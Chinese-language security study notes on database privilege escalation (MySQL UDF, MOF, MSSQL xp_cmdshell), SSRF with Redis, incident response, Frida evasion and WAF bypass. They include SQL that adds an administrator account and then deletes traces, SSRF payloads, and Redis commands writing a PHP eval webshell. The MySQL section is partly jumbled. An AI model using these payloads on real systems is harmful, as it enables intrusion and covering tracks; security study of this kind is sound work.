数据库提权写shell方式
https://developer.aliyun.com/article/1225524
MySQL 提权
CVE-2012-2122 漏洞利用:
- 确认目标 MySQL 版本在受影响范围内(MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23;MySQL versions from 5.1.63, 5.5.24, 5.6.6 之前)。
- 使用 msf 模块
auxiliary/scanner/mysql/mysql_authbypass_hashdump
或 bash 循环不断尝试连接 MySQL 数据库,利用漏洞绕过密码验证获取 root 权限。
Webshell 权限提升:
- 确认满足写 shell 条件:知道网站物理路径、高权限数据库用户、load_file() 开启(secure_file_priv 无限制)、网站路径有写入权限。
- 查看 secure_file_priv 是否有限制,若为 NULL 则需修改为 “” 并重启服务器。
- 通过 phpmyadmin 或 sqlmap 执行 SQL 命令,将 shell 写入网站目录,再利用工具连接获取权限。
1
2
3
4select version(); # 获取数据库版本
select user(); # 获取数据库用户
select @@basedir; # 获取数据库安装目录
show variables like ‘%plugin%’; # 查看plugin路径。日志写 shell 提权:
- 确认 MySQL 版本 5.0 以上且 general_log 默认关闭。
在sqlmap/data/udf/mysql目录下,在Windows目录中有32位和64位的dll文件(MySQL位数)。
文件夹中的dll文件是通过异或编码的,可以使用sqlmap/extract/cloak.py进行解码
python /sqlmap/extra/cloak/cloak.py -d -i /sqlmap/udf/mysql/windows/64/lib_mysqludf_sys.dll_
将解码后的DLL文件(包含用户自定义函数的DLL文件)上传到可写目录,再导入到MySQL\lib\plugin\中
select LOAD_FILE(‘C:/可写目录/lib_mysqludf_sys.dll’) into dumpfile ‘C:/phpStudy2016/MySQL/lib/plugin/> lib_mysqludf_sys.dll’;
将DLL中的函数引入到MySQL数据库中
创建自定义函数
create function sys_eval returns string soname ‘lib_mysqludf_sys.dll’;
创建名为sys_eval的函数,返回值为string类型,调用的文件是lib_mysqludf_sys.dll
注意:需要创建.dll文件中存在的函数,可以使用十六进制编辑器打开.dll文件,查看可以被创建的函数。
使用该函数去执行系统命令提权
查看当前用户权限
select sys_eval(“whoami”);
创建账号并提升为管理员权限
select sys_eval(“net user winhex passw@ord /add”);
select sys_eval(“net localgroup administrators winhex /add”);
将之前引入的函数删除掉
防止被管理员发现,防止其他攻击者使用
drop function sys_eval;
delete from mysql.func where name=’sys_eval’; - 开启 general_log,修改 general_log_file 路径为网站目录下的文件名。
- 写入 shell 内容,利用工具连接获取权限。
- 确认 MySQL 版本 5.0 以上且 general_log 默认关闭。
Linux UDF提权:https://www.freebuf.com/articles/web/264790.html
UDF 提权:
- 判断 MySQL 版本,选择对应的动态链接库位置。
- 将 sqlmap 中的动态链接库解码后上传到 MySQL 特定目录(根据版本选择目录)。
- 创建自定义函数,利用该函数执行命令实现提权,最后可删除自定义函数清理痕迹。
MOF 提权:
- 确认目标系统版本为 2003 或之前,利用 mof 文件每五秒执行且为系统权限的特点。
- 将包含 vbs 脚本的 mof 文件通过 mysql 的 load_file 写入指定目录,等待执行创建用户实现提权,清理痕迹需停止服务、删除相关文件并重启服务。
启动项提权:
- 确认系统启动项路径,根据系统版本选择对应路径。
- 在 mysql 中创建表并插入创建用户和添加管理员权限的 vbs 脚本内容,将脚本写入启动项路径,重启后脚本执行实现提权。
CVE-2016-6663、CVE-2016-6664 组合提权:
- 对于 Mysql 小于特定版本的情况,先利用 CVE-2016-6663 将 www-data 权限提升为 mysql 权限,再利用 CVE-2016-6664 将 Mysql 权限提升为 root 权限。
MSSQL 提权
xp_cmdshell 提权:
- 开启 xp_cmdshell,利用其执行命令实现提权,如添加用户、替换粘贴键、传马等操作,完成后可关闭 xp_cmdshell 清理痕迹。
sp_OACreate 提权:
- 开启 Ole Automation Procedures,利用 sp_OACreate 执行命令实现提权,如直接加用户、粘贴键替换、直接传马、启动项写入加账户脚本等操作。
沙盒提权:
- 开启默认关闭的 xp_regwrite 存储过程,利用 jet.oledb 执行系统命令添加系统账号实现提权。
Oracle 提权
通过注入存储过程提权:
- 手工注入:用户登录后查看权限,创建提权函数并注入到存在 sql 注入的存储过程中,执行命令提升权限。
- 利用 MSF 注入:加载攻击模块,配置参数后运行实现提权。
通过 utl_http.request 存储过程提权:
- 创建 Java 包和存储过程 MYJAVACMD,执行该存储过程实现提权。
应急响应流程
- 查看用户信息
- 查看用户信息文件:
cat /etc/passwd
- 查看影子文件:
cat /etc/shadow
- 查看特权账户(UID为0):
awk -F: '$3==0{print $1}' /etc/passwd
或cat /etc/passwd | grep x:0
- 查看当前登录用户及其登录IP:
who
- 查看当前登录用户及其正在执行的程序:
w
- 查看系统负载、登录用户数等信息:
uptime
- 查看密码文件最后修改时间:
stat /etc/passwd
- 查看除不可登录用户外的其他用户:
cat /etc/passwd | grep -v nologin
- 查看能用bash shell登录的用户:
cat /etc/passwd | grep /bin/bash
- 历史命令
- 查看历史命令:
history
- 保存历史命令到文件:
cat .bash_history >> history.txt
- 端口
- 查看端口开放和连接情况:
netstat -pantu
- 查看可疑进程文件路径(根据PID):
ls -l /proc/<pid>/exe
- 进程
- 查看所有进程:
ps -aux
- 查看指定进程:
ps -aux | grep <pid>
- 查看CPU占用率前十的进程:
ps aux --sort=pcpu | head -10
- 自启项
- 查看开机启动项:
systemctl list-unit-files | grep enabled
- 定时任务
- 查看当前用户定时任务:
crontab -l
- 查看指定用户定时任务(如root):
crontab -u root -l
- 进程监控
- 动态监控进程(按CPU占用排序):
top
- 按内存使用排序监控:
top -b
(在top界面按M
键) - 监控指定进程:
top -p <pid>
- 静态监控进程:
ps -ef
- Host文件
- 查看Host文件是否被篡改:
cat /etc/hosts
- 登录日志
- 统计爆破root账号失败次数及IP:
grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more
- 查看成功登录的日期、用户名、IP:
grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}'
- 命令状态
- 查看命令文件修改时间(防止被替换):
stat /bin/netstat
SSRF 漏洞原理与应用
https://blog.csdn.net/qq_44159028/article/details/114626708
https://blog.csdn.net/qq_44159028/article/details/117034100
https://xz.aliyun.com/news/195
漏洞原理
SSRF(Server-Side Request Forgery,服务器端请求伪造)是一种安全漏洞,攻击者通过构造恶意请求,使服务器端作为代理发起请求,从而访问外网无法直接访问的内部系统或服务。SSRF 漏洞的形成原因通常是服务端提供了从其他服务器获取数据的功能,且未对目标地址进行过滤与限制。
SSRF 漏洞中常用协议的功能和作用
1. file 协议
功能:
- 读取本地文件:在有回显的情况下,利用 file 协议可以读取服务器本地的任意文件内容。例如,读取 Linux 系统中的
/etc/passwd
文件或 Windows 系统中的C:\Windows\System32\drivers\etc\hosts
文件。
作用:
- 信息泄露:攻击者可以通过读取敏感文件获取服务器的配置信息、用户账户信息等。
- 进一步渗透:获取的文件内容可能包含其他敏感信息,如数据库连接字符串、密钥等,有助于进一步渗透目标系统。
示例:
1 | http://127.0.0.1/ssrf.php?url=file:///etc/passwd |
2. dict 协议
功能:
- 泄露安装软件版本信息:通过 dict 协议可以获取目标服务器上安装的软件版本信息。
- 查看端口:可以用于探测目标服务器上特定端口是否开放。
- 操作内网 Redis 服务:可以利用 dict 协议与内网中的 Redis 服务进行交互,执行命令。
作用:
- 信息收集:获取目标服务器的软件版本和端口信息,有助于进一步攻击。
- 内网渗透:通过与内网中的 Redis 服务交互,可以执行命令,进一步渗透内网。
示例:
1 | curl http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=dict://127.0.0.1:6379/info |
3. gopher 协议
功能:
- 支持发出 GET、POST 请求:gopher 协议支持发送 GET 和 POST 请求,可以先截获这些请求包,再构造成符合 gopher 协议的请求。
- 万能协议:gopher 协议是 SSRF 利用中最强大的协议之一,可以用于反弹 Shell、攻击内网的 Redis、FTP 等服务。
作用:
- 灵活攻击:可以构造复杂的请求,实现对目标服务器的多种攻击。
- 内网渗透:利用 gopher 协议可以攻击内网中的各种服务,如 Redis、MySQL 等。
示例:
1 | http://127.0.0.1/ssrf.php?url=gopher://66.112.213.76:2333/_hello |
漏洞发现
- 检查服务端功能:查看服务端是否存在从其他服务器获取数据的功能,如加载图片、下载文件、读取文件内容等。
- 检测常用函数使用:检查代码中是否使用了
curl_exec()
、file_get_contents()
、fsockopen()
等函数,且未对输入进行严格过滤。 - 测试 URL 参数:通过修改 URL 参数,尝试访问本地文件(如
file:///etc/passwd
)或内网地址,观察服务器响应。
漏洞利用
- 读取本地文件
- Windows:使用
file://C:\Windows\System32\drivers\etc\hosts
等路径读取系统文件。 - Linux:使用
file:///etc/passwd
等路径读取系统文件。
- Windows:使用
- 端口扫描
- 使用
dict://IP地址:端口
或http://IP地址:端口
探测内网端口开放情况,根据页面响应时间判断端口是否开放。
- 使用
- 内网主机探测
- 通过读取
/etc/hosts
、/proc/net/arp
等文件获取内网网段,使用脚本对内网 IP 进行爆破,探测存活主机。
- 通过读取
- 攻击内网服务
- 利用 SSRF 漏洞访问内网的 Redis、MySQL 等服务,进一步渗透内网资产。
与 Redis 的结合利用
- 探测 Redis 服务
- 使用 SSRF 漏洞向 Redis 默认端口 6379 发起请求,如
dict://127.0.0.1:6379
,判断 Redis 服务是否开放。
- 使用 SSRF 漏洞向 Redis 默认端口 6379 发起请求,如
- 写入 SSH 公钥
- 在攻击机生成 SSH 密钥对,将公钥内容通过 Redis 写入目标服务器的
~/.ssh/authorized_keys
,实现无密码登录。 - Redis 命令示例:
1
2
3
4
5flushall
set 1 '公钥内容'
config set dir /root/.ssh
config set dbfilename authorized_keys
save
- 在攻击机生成 SSH 密钥对,将公钥内容通过 Redis 写入目标服务器的
- 写入 Webshell
- 构造 Redis 命令,设置 Webshell 内容并将其写入目标服务器的网站根目录,如
/var/www/html
。 - Redis 命令示例:
1
2
3
4
5flushall
set 1 '<?php eval($_GET["cmd"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save
- 构造 Redis 命令,设置 Webshell 内容并将其写入目标服务器的网站根目录,如
- 反弹 Shell
- 通过写入计划任务或利用 Redis 的数据备份功能写入 Webshell,实现反弹 Shell。
- 常见的Redis提权方案
- 方案一:利用Redis写入公钥进行SSH登录提权
- 步骤:
- 攻击者获取到Redis的写权限,将生成的SSH公钥写入到目标服务器的
~/.ssh/authorized_keys
文件中。 - 攻击者使用对应的私钥通过SSH客户端连接到目标服务器,从而获得服务器的shell权限,实现提权。
- 攻击者获取到Redis的写权限,将生成的SSH公钥写入到目标服务器的
- 说明:此方案需要Redis服务具有写入目标文件系统的权限,并且目标服务器的SSH服务配置允许公钥认证。
- 步骤:
- 方案二:利用Redis的模块加载功能执行恶意代码
- 步骤:
- 攻击者编写恶意的Redis模块代码,该模块在加载后可以在服务器上执行特定的命令或操作。
- 攻击者通过Redis的
MODULE LOAD
命令加载该恶意模块,触发恶意代码的执行,从而获得服务器的更高权限或执行权限提升的操作。
- 说明:此方案适用于Redis版本支持模块加载功能,并且攻击者能够成功编写和加载具有提权能力的模块。
- 步骤:
- 方案一:利用Redis写入公钥进行SSH登录提权
漏洞防御
- 限制协议:仅允许 HTTP 和 HTTPS 请求。
- 限制 IP:避免应用被用来获取内网数据,攻击内网。
- 限制端口:限制请求的端口为常用的 HTTP 端口,如 80、443、8080 等。
- 过滤返回信息:验证远程服务器对请求的响应,避免泄露敏感信息。
- 统一错误信息:避免用户根据错误信息判断远端服务器的端口状态。
SSRF的利用
- SSRF攻击是指攻击者诱导服务器端发起HTTP请求到指定的URL,从而访问到服务器内部网络或受信任的服务。例如,攻击者可以构造恶意的URL,让服务器请求内部的管理界面、数据库等服务,进而获取敏感信息或执行未授权的操作。
- 利用方式包括:通过服务器端的漏洞(如未正确验证和限制请求的URL)发送构造的请求,访问到内部的资源;利用服务器对某些服务的信任关系,进行权限提升或数据泄露等。
SSRF的防护手段
- 输入验证:对用户输入的URL进行严格的验证,确保其符合预期的格式和访问范围。例如,限制只能访问特定的域名或IP地址段,过滤掉敏感的协议(如file://、dict://等)。
- 网络隔离:将内部服务和外部网络进行隔离,使用防火墙等设备限制服务器对内部网络的访问。只允许必要的服务和端口进行通信,避免服务器被诱导访问到内部敏感资源。
- 限制服务器端请求:在服务器端代码中,限制发起请求的功能,只允许必要的请求操作,并对请求的目标地址进行白名单限制。
- 使用安全的库和框架:选择经过安全审计的HTTP客户端库和框架,避免使用存在已知漏洞或不安全实现的库,以降低被SSRF攻击的风险。
- 定期安全测试:通过渗透测试和代码审计等手段,发现和修复潜在的SSRF漏洞,及时更新和修补系统及应用的安全漏洞。
作为众测运营人员的问题
漏洞等级评判标准
严重漏洞:
- 发生在核心系统业务系统,可造成大面积影响,获取大量业务系统控制权限,获取核心系统管理人员权限并且可控制核心系统。
- 包括但不限于控制内网多台机器、核心后台超级管理员权限获取且造成大范围企业核心数据泄露等。
高危漏洞:
- 获得系统的权限(如getshell、命令执行等)。
- 系统的SQL注入(后台漏洞降级,打包提交酌情提升)。
- 敏感信息越权访问(如绕过认证直接访问管理后台进行敏感操作、重要后台弱密码、获取大量内网敏感信息的SSRF等)。
- 读取任意文件。
- 涉及金钱的交易、绕过支付逻辑(需最终利用成功,优惠券相关问题除外)。
- 严重的逻辑设计缺陷和流程缺陷(如任意用户登录漏洞、批量修改任意账号密码漏洞、涉及企业核心业务的逻辑漏洞等)。
- 大范围影响用户的其他漏洞(如重要页面可自动传播的存储型XSS、可获取管理员认证信息且成功利用的存储型XSS等)。
- 大量源代码泄露。
中危漏洞:
- 需交互方可影响用户的漏洞(如存储型XSS、涉及核心业务的CSRF等)。
- 平行越权操作(如绕过限制修改用户资料、执行用户操作等)。
- 由验证码逻辑导致任意账户登录、任意密码找回等系统敏感操作可被爆破成功造成的漏洞。
- 本地保存的敏感认证密钥信息泄露,需能做出有效利用。
- 四位验证码爆破重置密码或者登录账号。
- 心脏滴血漏洞。
- XML注入。
- 普通的后台或者边缘系统的后台。
- 任意文件上传(如上传html导致存储XSS,其他情况除外)。
低危漏洞:
- 对系统的功能或性能影响较小。
- 攻击者只能获得非敏感信息或执行有限的操作。
- 存在已知的解决方案或临时修复措施。
漏洞验证的逻辑和流程
环境准备:
- 确保测试环境与生产环境一致,避免因环境差异导致的误判。
- 准备必要的测试工具和数据。
漏洞复现:
- 根据提交的漏洞报告,尝试复现漏洞。
- 记录复现步骤和结果,确保漏洞的真实性和可重复性。
影响评估:
- 评估漏洞对系统功能、性能、安全性的潜在影响。
- 确定漏洞可能影响的用户范围和业务范围。
利用难度评估:
- 评估漏洞的利用难度,包括是否需要特定条件、是否需要高级技能等。
可发现性评估:
- 评估漏洞的可发现性,即攻击者发现该漏洞的难易程度。
综合评分:
- 结合上述评估结果,根据360SRC的评分标准,对漏洞进行综合评分,确定漏洞等级。
报告生成:
- 生成详细的漏洞报告,包括漏洞描述、复现步骤、影响评估、利用难度、可发现性等信息。
- 提交报告给相关团队进行修复和处理。
移动安全
Frida检测和反检测的相关技术或特征
- 检测技术
- 进程名检测:遍历运行的进程,对比进程名是否为fridaserver。
- 端口检测:通过遍历端口来检查 frida server,通常是27042端口。
- maps文件检测:在/proc/self/maps 中会出现libgadget.so ,或frida-agent-32.so,frida-agent.so等模块。
- fd检测:检查/proc/self/fd/下的文件描述符,查找与frida相关的链接。
- 线程名检测:读取/proc/self/task/tid/status文件,检查线程名是否包含gmain、gum-js-loop等。
- inlinehook检测:检测是否对关键函数进行了inlinehook。
- 反检测技术
- 修改Frida server文件名:更改fridaserver的文件名,绕过基于文件名的检测。
- 修改Frida server端口:通过命令行指定参数改变fridaserver的监听端口。
- 以spawn模式启动应用:主要是为了过掉双进程保护。
- hook系统库函数:如hook strstr、strcmp等函数,绕过对maps文件、线程名等的检测。
- 更改Frida server的特征:手动编译Hluda Frida Server等,更改fridaserver的诸多特征,从而达到隐藏的效果。
ELF文件的加载方式和过程
- 读取文件头部:内核首先读取ELF文件头部,获取各种数据结构的信息,如程序头表、段表等。
- 加载可加载段:根据段表中的信息,调用mmap()把找到的可加载段(如文本段、数据段)的内容加载到内存中,并设置相应的权限。
- 加载动态链接器:从PT_INTERP的段中找到所对应的动态链接器名称,并加载动态链接器。
- 设置进程堆栈:内核把新进程的堆栈中设置一些标记对,以指示动态链接器的相关操作。
- 传递控制权给动态链接器:内核把控制权传递给动态链接器。
- 动态链接器处理共享库:动态链接器检查程序对共享库的依赖性,并在需要时对其进行加载。
- 重定位:动态链接器对程序的外部引用进行重定位,确定引用的外部变量/函数的地址。
- 执行初始化代码:动态链接器执行在ELF文件中标记为.init的节的代码,进行程序运行的初始化。
- 开始执行程序:动态链接器把控制传递给程序,从ELF文件头部中定义的程序进入点开始执行。
ELF(Executable and Linkable Format)文件头包含了描述ELF文件的基本信息和结构的字段,以下是ELF文件头的主要字段:
e_ident
:标识字段,包含ELF文件的魔数(如\x7F``E``L``F
)和文件类别的信息(如32位或64位)。e_type
:文件类型,如可执行文件(ET_EXEC
)、可重定位文件(ET_REL
)、共享目标文件(ET_DYN
)等。e_machine
:目标机器架构,如x86(EM_386
)、ARM(EM_ARM
)等。e_version
:文件版本号。e_entry
:程序入口的虚拟地址,当程序被加载执行时,从这个地址开始运行。e_phoff
:程序头表在文件中的偏移位置。e_shoff
:节头表在文件中的偏移位置。e_flags
:与目标机器相关的标志。e_ehsize
:ELF头本身的大小。e_phentsize
:程序头表中每个条目的大小。e_phnum
:程序头表中的条目数目。e_shentsize
:节头表中每个条目的大小。e_shnum
:节头表中的条目数目。e_shstrndx
:节头表中字符串表节的索引。
常见的混淆技术以及针对每种技术如何分析
- 代码混淆
- 技术描述:通过改变代码的结构和逻辑,使代码难以阅读和理解,如变量名替换、代码块打乱等。
- 分析方法:使用反编译工具(如IDA、JEB等)对混淆后的代码进行反编译,结合静态分析和动态调试,逐步还原代码的原始逻辑。
- 字符串加密
- 技术描述:对字符串进行加密处理,防止直接从代码中获取敏感信息,如用户名、密码等。
- 分析方法:通过动态调试,在程序运行时捕获加密字符串的解密过程,或者分析加密算法,尝试逆向解密。
- 控制流平坦化
- 技术描述:将程序的控制流结构进行平坦化处理,增加控制流的复杂度,使分析人员难以理解程序的执行流程。
- 分析方法:通过分析控制流图,识别平坦化后的结构,结合对关键函数的分析,还原原始的控制流。
- 资源文件加密
- 技术描述:对应用的资源文件(如图片、音频等)进行加密,防止直接提取和使用。
- 分析方法:通过动态调试,截获资源文件的解密过程,或者分析加密算法,尝试解密资源文件。
- 反射调用
- 技术描述:通过反射机制动态加载类和调用方法,隐藏代码的调用关系,增加分析难度。
- 分析方法:分析反射调用的相关代码,确定被调用的类和方法,结合对相关类的分析,理解程序的功能。
动态库和静态库有什么区别
定义
- 动态库:在程序运行时才被加载到内存中的库文件,多个程序可以共享同一份动态库的内存副本。
- 静态库:在程序编译链接时就被链接到可执行文件中,生成的可执行文件包含静态库的代码副本。
链接方式
- 动态库:在程序运行时由操作系统动态链接器加载。
- 静态库:在编译阶段就与程序代码链接在一起。
内存占用
- 动态库:多个程序同时使用时,只占用一份内存。
- 静态库:每个使用该库的程序都包含一份完整的库代码副本,内存占用较大。
更新维护
- 动态库:更新库文件后,所有依赖该库的程序都会自动使用新的版本。
- 静态库:如果需要更新,需要重新编译链接程序。
常见文件后缀
- 动态库:在Linux系统(包括Android)中,动态库的常见文件后缀是
.so
(Shared Object的缩写)。 - 静态库:在Linux系统中,静态库的常见文件后缀是
.a
。
- 动态库:在Linux系统(包括Android)中,动态库的常见文件后缀是
加载方式
- 动态库:在Android中,动态库通常在程序运行时由系统动态加载器加载。加载方式主要有两种:
- 通过
dlopen
函数加载:程序在运行时调用dlopen
函数来显式加载动态库,并可以通过dlsym
函数获取库中函数的地址进行调用。 - 在程序启动时自动加载:如果动态库在程序的链接阶段被指定,系统会在程序启动时自动加载所需的动态库。
- 通过
- 静态库:在Android中,静态库在程序编译链接阶段就被链接到可执行文件中。加载方式是在编译时使用
-l
选项指定静态库文件,链接器会将静态库中的代码和数据链接到可执行文件中,生成的可执行文件包含静态库的完整副本。
- 动态库:在Android中,动态库通常在程序运行时由系统动态加载器加载。加载方式主要有两种:
在Android当中的情况
- 动态库:Android中的动态库通常存放在
/system/lib/
或/vendor/lib/
等目录下,应用程序也可以将私有动态库放在自身的lib
目录下。应用程序在运行时通过动态加载器加载这些动态库。 - 静态库:静态库在Android中通常以
.a
文件的形式存在,开发者在编译应用程序时将其链接到可执行文件中。静态库的使用可以减少应用程序对外部库文件的依赖,但会增加可执行文件的大小。
- 动态库:Android中的动态库通常存放在
native的hook函数hook某个地址的函数并修改值
以下是一个简单的示例,使用Frida的Native API来hook某个地址的函数并修改值:
1 | Java.perform( |
AES和MD5算法的不同以及每个算法的详细步骤
- AES算法
- 不同点:AES是一种对称加密算法,用于对数据进行加密和解密,而MD5是一种哈希算法,用于生成数据的摘要。
- 详细步骤
- 密钥扩展:将原始密钥扩展成一系列的轮密钥,用于每一轮的加密操作。
- 初始轮:将明文与初始密钥进行异或操作。
- 多轮加密:进行多轮(如10轮、14轮等)的加密操作,每轮包括字节替换、行移位、列混淆和轮密钥异或等步骤。
- 最终轮:最后一轮不进行列混淆操作,直接进行字节替换、行移位和轮密钥异或。
- 解密过程:与加密过程相反,使用相应的逆操作和轮密钥进行解密。
- MD5算法
- 不同点:MD5是一种单向哈希函数,用于将任意长度的数据转换成固定长度的摘要,无法通过哈希值反推出原始数据。
- 详细步骤
- 填充数据:将输入数据填充到满足特定长度要求的倍数。
- 附加长度:在填充后的数据末尾附加原始数据的长度信息。
- 初始化缓冲区:设置四个初始的32位缓冲区值。
- 处理数据块:将数据分成固定大小的块,对每个块进行四轮的处理,每轮包括一系列的逻辑运算和模加运算。
- 输出哈希值:将四个缓冲区的值连接起来,形成最终的128位哈希值。
常见的Android混淆和加壳方式的特征以及具体分析方法
- 常见的混淆方式及其特征
- 代码混淆:通过改变代码的结构和逻辑,如变量名替换、代码块打乱等,使代码难以阅读和理解。特征是在反编译后的代码中出现大量无意义的变量名和复杂的控制流。
- 字符串加密:对字符串进行加密处理,防止直接从代码中获取敏感信息。特征是在反编译后的代码中字符串以加密形式存在,需要在运行时解密。
- 控制流平坦化:将程序的控制流结构进行平坦化处理,增加控制流的复杂度。特征是反编译后的代码中出现大量的跳转和条件判断,难以理解程序的执行流程。
- 资源文件加密:对应用的资源文件进行加密,防止直接提取和使用。特征是资源文件无法直接被读取,需要在运行时解密。
- 反射调用:通过反射机制动态加载类和调用方法,隐藏代码的调用关系。特征是在代码中大量使用
Class.forName
和Method.invoke
等反射相关的方法。
- 常见的加壳方式及其特征
- 静态加壳:在程序编译后对可执行文件进行处理,添加壳代码以实现保护功能。特征是可执行文件的结构发生变化,通常会增加额外的段或修改入口点。
- 动态加壳:在程序运行时通过动态加载壳代码来实现保护。特征是在运行时会加载额外的动态库或代码片段,这些代码负责对程序进行保护和控制。
- 具体分析方法
- 反编译分析:使用反编译工具(如apktool、JEB等)对Android应用进行反编译,查看代码和资源文件,识别混淆和加壳的特征。
- 动态调试:通过调试工具(如Frida、Xposed等)在程序运行时进行动态调试,截获关键函数的调用和数据流动,分析加壳和混淆后的实际行为。
- 内存分析:使用内存分析工具(如Memory Analyzer)查看程序运行时的内存状态,分析壳代码的加载和执行情况,以及解密后的代码和数据。
- 特征比对:将分析结果与已知的混淆和加壳技术的特征进行比对,确定具体使用的技术和实现方式。
CSRF(跨站请求伪造)的介绍与防护
CSRF的介绍
- CSRF是一种攻击方式,攻击者诱导已登录某网站的用户浏览器,向该网站发送伪造的请求,从而在用户不知情的情况下执行操作。例如,攻击者可以构造一个恶意的表单或链接,当用户点击或提交时,用户的浏览器会向其已登录的银行网站发送转账请求,导致用户的资金被盗用。
CSRF的防护方法
- 使用CSRF令牌:在服务器生成唯一的CSRF令牌,并将其嵌入到每个表单或请求中。客户端在提交请求时必须包含该令牌,服务器在处理请求时验证令牌的合法性。这样可以确保请求是由用户的真实意愿发起的,而不是被伪造的请求。
- 验证HTTP头信息:检查请求中的
Referer
头,确保请求来自合法的来源页面;也可以使用自定义的HTTP头,如X-CSRF-Token
,在服务器端验证该头是否存在和有效。 - 使用SameSite属性:在设置Cookie时,使用
SameSite
属性(如SameSite=Strict
或SameSite=Lax
),限制Cookie在跨站请求时是否被发送。这样可以减少CSRF攻击中Cookie被自动提交的可能性。 - 用户教育:提醒用户不要随意点击不可信的链接或访问不明来源的网站,提高用户的安全意识,减少被CSRF攻击的风险。
同源策略与JSONP绕过同源策略的方式
同源策略
- 同源策略是一种安全策略,限制了来自不同源的文档或脚本如何获取和交互其他源的资源。同源是指协议、域名和端口号都相同的来源。例如,
http://example.com:8080
和https://example.com:8080
被认为是不同源,因为协议不同。同源策略的主要目的是防止恶意网站获取其他网站的敏感信息,如Cookie、本地存储等。
- 同源策略是一种安全策略,限制了来自不同源的文档或脚本如何获取和交互其他源的资源。同源是指协议、域名和端口号都相同的来源。例如,
JSONP绕过同源策略的方式
- JSONP(JSON with Padding)是一种跨域数据请求的方式,它利用了
<script>
标签的src
属性不受同源策略限制的特点。其工作原理是:- 客户端在页面中动态创建一个
<script>
标签,将src
属性设置为目标服务器的API地址,并在请求参数中指定一个回调函数名。 - 目标服务器接收到请求后,将数据以JavaScript函数调用的形式返回,函数名与客户端指定的回调函数名一致,数据作为参数传递给该函数。
- 客户端浏览器解析并执行返回的脚本,调用回调函数,从而实现了跨域的数据获取和处理。
- 客户端在页面中动态创建一个
- 例如,客户端代码: 目标服务器返回:
1
2
3
4
5
6
7
8
9
10
11
12<img src="跨域的图片地址"> 可以用于统计打点,可以使用第三方统计服务???
<link href="跨域的CSS地址"> 可以使用CDN,一般外域
<script src="跨域的js地址"></script> 实现JSONP????具体实现
// 上面的方式都可以跨域
<script>
function handleResponse(data) {
// 处理返回的数据
console.log(data);
}
</script>
<script src="https://api.example.com/data?callback=handleResponse"></script>这样就绕过了同源策略的限制,实现了跨域的数据交互。1
handleResponse({"key": "value"});
另外,CORS(跨域资源共享)也是一种常见的跨域解决方案,它通过服务端设置特定的 HTTP 头(如 Access-Control-Allow-Origin)来允许不同源的请求,实现跨域资源共享。与 JSONP 不同,CORS 的实现主要在服务端,且支持多种 HTTP 方法(如 GET、POST、PUT、DELETE 等)。
- JSONP(JSON with Padding)是一种跨域数据请求的方式,它利用了
绕过WAF(Web应用防火墙)的常见方法
- 常见的WAF绕过方法
- 编码绕过:对攻击payload进行编码处理,如使用URL编码、Unicode编码、Base64编码等,使WAF无法正确识别出攻击特征。例如,将
<script>
编码为%3Cscript%3E
,绕过WAF对特定标签的检测。 - 分段攻击:将攻击payload分成多个部分,分别发送到服务器,然后在服务器端进行拼接和执行。这样可以避免完整的攻击特征被WAF捕获。可以看下这个博客的讲解
- 利用HTTP请求走私:通过操纵HTTP请求的头部和消息体,使不同的服务器或组件对请求的解析不一致,从而绕过WAF的检测并将恶意请求传递给目标服务器。这个讲的很好
- 编码绕过:对攻击payload进行编码处理,如使用URL编码、Unicode编码、Base64编码等,使WAF无法正确识别出攻击特征。例如,将